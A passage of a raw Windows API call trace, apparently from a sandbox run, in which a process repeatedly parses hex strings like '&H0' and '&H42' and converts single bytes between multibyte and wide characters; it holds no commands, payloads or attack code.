[0062.078] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.079] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.079] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.079] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.079] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.080] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.080] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.081] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.081] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.084] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.084] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.085] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.085] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.086] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.086] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.087] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.087] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.087] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.087] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.088] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.088] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.089] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.089] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.089] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.089] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0062.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@", lpUsedDefaultChar=0x0) returned 1 [0062.090] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.090] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.091] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.091] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.092] VarParseNumFromStr (in: strIn="&H42", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.092] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="B") returned 1 [0062.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B", lpUsedDefaultChar=0x0) returned 1 [0062.092] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.092] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.093] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.093] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.094] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.094] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.094] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.095] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.095] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: 